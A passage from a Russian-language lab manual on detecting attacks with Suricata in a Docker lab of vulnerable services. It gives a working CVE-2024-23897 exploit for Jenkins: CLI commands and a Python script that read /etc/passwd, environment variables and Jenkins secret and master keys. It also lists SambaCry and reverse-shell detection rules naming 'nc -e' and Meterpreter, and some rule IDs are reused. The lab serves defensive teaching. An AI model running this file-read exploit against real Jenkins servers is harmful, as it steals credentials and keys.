alert tcp any any -> any 445 (msg:"[IDS] SMB Connection Detected"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000301; rev:1;)

# Загрузка .so через SMB (попытка записи библиотек)
alert smb any any -> any 445 (msg:"[IDS] SMB Shared Library Upload"; \
    flow:to_server,established; smb_command:write; filename:".so"; \
    classtype:trojan-activity; sid:3000302; rev:1;)
```

```
# Блокировка известных артефактов SambaCry (имя библиотеки по умолчанию)
drop smb any any -> any 445 (msg:"[IPS] SambaCry Library Upload Blocked"; \
    flow:to_server,established; smb_command:write; filename:"libbindshell-
samba.so"; \
    threshold: type limit, track by_src, count 1, seconds 3600; \
    classtype:attempted-admin; sid:3000303; rev:1;)

# Подключение к bind shell на 6699
alert tcp any any -> any 6699 (msg:"[IDS] SambaCry Bind Shell Connection"; \
    flow:to_server; \
    threshold: type limit, track by_src, count 1, seconds 60; \
    classtype:trojan-activity; sid:3000304; rev:1;)

# Множественные SMB операции (возможная эксплуатация/брут/скан)
alert tcp any any -> any 445 (msg:"[IDS] SMB Multiple File Operations"; \
    flow:to_server,established; \
    threshold: type threshold, track by_src, count 15, seconds 30; \
    classtype:attempted-recon; sid:3000305; rev:1;)

# Запись в конкретную шару myshare
alert smb any any -> any 445 (msg:"[IDS] SMB Write to myshare"; \
    flow:to_server,established; smb_command:write; content:"myshare";
nocase; \
    classtype:policy-violation; sid:3000306; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

5.5. Проверка правил

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

---

6. Служба 5: Jenkins (Arbitrary File Read - CVE-2024-23897)

6.1. Теория уязвимости

CVE-2024-23897 является критической уязвимостью произвольного чтения файлов в Jenkins через интерфейс командной строки (CLI). Jenkins использует библиотеку args4j для парсинга аргументов командной строки, которая имеет функцию `expandAtFiles` - замена символа `@`, за которым следует путь к файлу, на содержимое этого файла. Это позволяет атакующим читать произвольные файлы с сервера Jenkins без аутентификации.

Принцип работы:

- Команда `help` показывает первую строку файла через сообщение об ошибке
- Команда `connect-node` показывает полное содержимое файла через ошибки "No such agent"
- Уязвимость затрагивает Jenkins версий до 2.441 включительно
- Не требует аутентификации при настройке `denyAnonymousReadAccess=false`

6.2. Fingerprinting с Kali

```
nmap -sV -p 8080,50000,5005 172.20.0.105
```

Результат:

```
5005/tcp  open  jdwp     Java Debug Wire Protocol (Reference Implementation)
version 17.0 17.0.9
8080/tcp  open  http     Jetty 10.0.18
50000/tcp open  ibm-db2?
```

Проверьте веб-интерфейс:

```
curl -I http://172.20.0.105:8080/
curl -s http://172.20.0.105:8080/ | grep -i jenkins
```

6.3. Эксплуатация через Kali

```
docker exec -it attacker bash
```

Атака A: Загрузка Jenkins CLI

```
cd /tmp
wget http://172.20.0.105:8080/jnlpJars/jenkins-cli.jar
file jenkins-cli.jar
```

Атака B: Получение переменных окружения

```
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http help
"@/proc/self/environ"
```

Ожидаемый результат в ERROR сообщении:

```
HOSTNAME=victim-jenkins
JENKINS_VERSION=2.441
JENKINS_HOME=/var/jenkins_home
DEBUG=1
JAVA_HOME=/opt/java/openjdk
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin...
```

Атака C: Чтение системных файлов

```
# Полное содержимое /etc/passwd
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/etc/passwd"

# Версия ядра Linux
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/proc/version"

# Hostname системы
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/etc/hostname"
```

Результат: Полное содержимое файлов через ошибки "No such agent exists".

Атака D: Извлечение секретов Jenkins

```
# Секретный ключ Jenkins (первая строка)
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http help
"@/var/jenkins_home/secret.key"

# Master ключ (первая строка)
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http help
"@/var/jenkins_home/secrets/master.key"

# Полное содержимое secret.key
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/var/jenkins_home/secret.key"
```

Ожидаемые результаты:

- **secret.key**
- **master.key**

Атака E: Извлечение конфигурации Jenkins

```
# Основная конфигурация Jenkins
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/var/jenkins_home/config.xml"

# Информация о пользователях
java -jar jenkins-cli.jar -s http://172.20.0.105:8080/ -http connect-node
"@/var/jenkins_home/users/users.xml"
```

Результат - полная XML конфигурация, включая информацию о пользователях:

```
      <string>admin_9172220797477383898</string>: No such agent "
<string>admin_9172220797477383898</string>" exists.
      <string>admin</string>: No such agent "      <string>admin</string>"
exists.
```

Атака F: Автоматизация через Python скрипт

Создайте файл `jenkins_exploit.py`:

```
#!/usr/bin/env python3
import subprocess
import sys

def jenkins_file_read(jenkins_url, file_path, method="connect-node"):
    """
    Эксплуатация CVE-2024-23897 для чтения файлов
    """
    cmd = [
        "java", "-jar", "jenkins-cli.jar",
        "-s", jenkins_url,
        "-http", method, f"@{file_path}"
    ]

    try:
        result = subprocess.run(cmd, capture_output=True, text=True,
timeout=30)
```

```
        # Для connect-node содержимое файла в stderr (ошибки "No such
agent")
        if method == "connect-node" and result.stderr:
            return result.stderr
        # Для help содержимое файла в stderr после "No such command"
        elif method == "help" and result.stderr:
            return result.stderr

        return result.stdout or result.stderr

    except Exception as e:
        print(f"[-] Ошибка: {e}")
        return None

def main():
    if len(sys.argv) != 2:
        print("Использование: python3 jenkins_exploit.py <jenkins_url>")
        print("Пример: python3 jenkins_exploit.py
http://172.20.0.105:8080/")
        sys.exit(1)

    jenkins_url = sys.argv[1]

    # Целевые файлы для чтения
    targets = [
        ("/proc/self/environ", "help", "Переменные окружения"),
        ("/etc/passwd", "connect-node", "Системные пользователи"),
        ("/etc/hostname", "connect-node", "Hostname"),
        ("/proc/version", "connect-node", "Версия ядра"),
        ("/var/jenkins_home/secret.key", "help", "Secret key (первая
строка)"),
        ("/var/jenkins_home/secrets/master.key", "help", "Master key (первая
строка)"),
        ("/var/jenkins_home/config.xml", "connect-node", "Конфигурация
Jenkins"),
        ("/var/jenkins_home/users/users.xml", "connect-node", "Пользователи
Jenkins")
    ]

    print(f"[+] Эксплуатация CVE-2024-23897 на {jenkins_url}")
    print("=" * 60)

    for file_path, method, description in targets:
        print(f"\n[*] {description}: {file_path}")
        content = jenkins_file_read(jenkins_url, file_path, method)
```

```
        if content and len(content.strip()) > 0:
            print(f"[+] Успешно извлечено ({len(content)} символов)")
            # Показать первые 200 символов
            preview = content[:200].replace('\n', ' ')
            print(f"[+] Превью: {preview}...")

            # Сохранить в файл
            filename = file_path.replace('/', '_').replace('@', '') + '.txt'
            with open(filename, 'w') as f:
                f.write(content)
            print(f"[+] Сохранено в файл: {filename}")
        else:
            print("[-] Не удалось извлечь")

if __name__ == "__main__":
    main()
```

Запуск:

```
python3 jenkins_exploit.py http://172.20.0.105:8080/
```

6.4. Создание правил Suricata для защиты

Добавьте в `/etc/suricata/rules/local.rules`:

```
# Обнаружение доступа к Jenkins
alert http any any -> any 8080 (msg:"[IDS] Jenkins Web Interface Access"; \
    flow:to_server,established; http_uri; content:"/"; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000501; rev:1;)

# Обнаружение загрузки jenkins-cli.jar
alert http any any -> any 8080 (msg:"[IDS] Jenkins CLI JAR Download"; \
    flow:to_server,established; http_uri; content:"jenkins-cli.jar"; \
    classtype:attempted-recon; sid:3000502; rev:1;)

# Обнаружение Jenkins CLI операций (по User-Agent)
alert http any any -> any 8080 (msg:"[IDS] Jenkins CLI Command Execution"; \
    flow:to_server,established; http_user_agent; content:"Jenkins CLI"; \
    classtype:attempted-admin; sid:3000503; rev:1;)

# Блокировка CVE-2024-23897 эксплуатации (символ @ в запросах)
drop http any any -> any 8080 (msg:"[IPS] Jenkins CVE-2024-23897 File Read
Blocked"; \
    flow:to_server,established; http_request_body; content:"@/"; \
```

```
    threshold: type limit, track by_src, count 1, seconds 3600; \
    classtype:attempted-admin; sid:3000504; rev:1;)

# Обнаружение попыток чтения системных файлов
alert http any any -> any 8080 (msg:"[IDS] Jenkins System File Access"; \
    flow:to_server,established; http_request_body;
pcre:"/@\/(etc|proc|var)/"; \
    classtype:attempted-admin; sid:3000505; rev:1;)

# Обнаружение попыток чтения секретов Jenkins
alert http any any -> any 8080 (msg:"[IDS] Jenkins Secret File Access"; \
    flow:to_server,established; http_request_body;
content:"@/var/jenkins_home/secret"; \
    classtype:attempted-admin; sid:3000506; rev:1;)

# Обнаружение множественных Jenkins CLI операций
alert http any any -> any 8080 (msg:"[IDS] Jenkins CLI Multiple Operations";
\
    flow:to_server,established; http_uri; content:"/cli"; \
    threshold: type threshold, track by_src, count 10, seconds 60; \
    classtype:attempted-recon; sid:3000507; rev:1;)

# Обнаружение доступа к JNLP порту (50000)
alert tcp any any -> any 50000 (msg:"[IDS] Jenkins JNLP Port Access"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000508; rev:1;)

# Обнаружение доступа к debug порту (5005)
alert tcp any any -> any 5005 (msg:"[IDS] Jenkins Debug Port Access"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:attempted-admin; sid:3000509; rev:1;)

# Обнаружение HTTP POST к CLI endpoint
alert http any any -> any 8080 (msg:"[IDS] Jenkins CLI HTTP POST"; \
    flow:to_server,established; http_method; content:"POST"; \
    http_uri; content:"/cli"; \
    classtype:attempted-admin; sid:3000510; rev:1;)

# Блокировка агрессивного сканирования Jenkins
drop http any any -> any 8080 (msg:"[IPS] Jenkins Aggressive Scanning
Blocked"; \
    flow:to_server,established; \
    threshold: type both, track by_src, count 50, seconds 120; \
    classtype:attempted-dos; sid:3000511; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

6.5. Проверка правил

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

---

7. Общие правила для reverse shell и Meterpreter

Добавьте в `/etc/suricata/rules/local.rules`:

```
# Обнаружение reverse shell паттернов
alert tcp any any -> any any (msg:"[IDS] Reverse Shell Pattern /bin/sh
Detected"; \
    flow:established; content:"/bin/sh"; nocase; \
    classtype:trojan-activity; sid:3000501; rev:1;)

alert tcp any any -> any any (msg:"[IDS] Reverse Shell Pattern /bin/bash
Detected"; \
    flow:established; content:"/bin/bash"; nocase; \
    classtype:trojan-activity; sid:3000502; rev:1;)

alert tcp any any -> any any (msg:"[IDS] Netcat Reverse Shell Detected"; \
    flow:established; content:"nc -e"; nocase; \
    classtype:trojan-activity; sid:3000503; rev:1;)

# Обнаружение Meterpreter трафика
alert tcp any any -> any any (msg:"[IDS] Meterpreter Session Detected"; \
    flow:established; content:"meterpreter"; nocase; \
    classtype:trojan-activity; sid:3000504; rev:1;)

alert tcp any any -> any 4444 (msg:"[IDS] Connection to Metasploit Port
4444"; \
    flow:to_server; threshold: type limit, track by_dst, count 1, seconds
60; \
    classtype:trojan-activity; sid:3000505; rev:1;)
```

```
alert tcp any any -> any 4445 (msg:"[IDS] Connection to Metasploit Port
4445"; \
    flow:to_server; threshold: type limit, track by_dst, count 1, seconds
60; \
    classtype:trojan-activity; sid:3000506; rev:1;)

# Обнаружение base64 encoded payload
alert tcp any any -> any any (msg:"[IDS] Base64 Encoded Command Execution";
\
    flow:established; content:"base64"; nocase; content:"exec"; nocase; \
    classtype:trojan-activity; sid:3000507; rev:1;)

# Обнаружение Python reverse shell
alert tcp any any -> any any (msg:"[IDS] Python Reverse Shell Detected"; \
    flow:established; content:"python"; nocase; content:"socket"; nocase; \
    classtype:trojan-activity; sid:3000508; rev:1;)

# Обнаружение cron-based persistence
alert tcp any any -> any any (msg:"[IDS] Cron-based Persistence Attempt"; \
    flow:established; content:"crontab"; nocase; \
    classtype:trojan-activity; sid:3000509; rev:1;)
```

Перезапустите Suricata после добавления всех правил:

```
systemctl restart suricata
```

В kali есть **Metasploit Framework** - запустить его можно командой `msfconsole`.

Попробуйте с помощью него провести серию атак, чтобы Suricata осуществила детектирование атаки. При необходимости, можно добавить нужные сервисы (п.8).

---

8. Дополнительные службы (самостоятельная работа)

Ознакомьтесь с полным списком уязвимых окружений Vulhub:

- **Docker hub:** https://hub.docker.com/u/vulhub
- **GitHub репозиторий:** https://github.com/vulhub/vulhub

Рекомендуемые дополнительные службы для DevOps:

1. **PostgreSQL**
2. **Httpd**

3. **Kafka**
4. **Kibana**
5. **Nginx**
6. **TeamCity**
7. **И другие ...**

Задание: Выберите **две дополнительные службы** из списка выше (или из перечня vulhub), интегрируйте их в docker-compose.yml по аналогии с основными 5 службами, проведите эксплуатацию через Kali и создайте правила Suricata для защиты.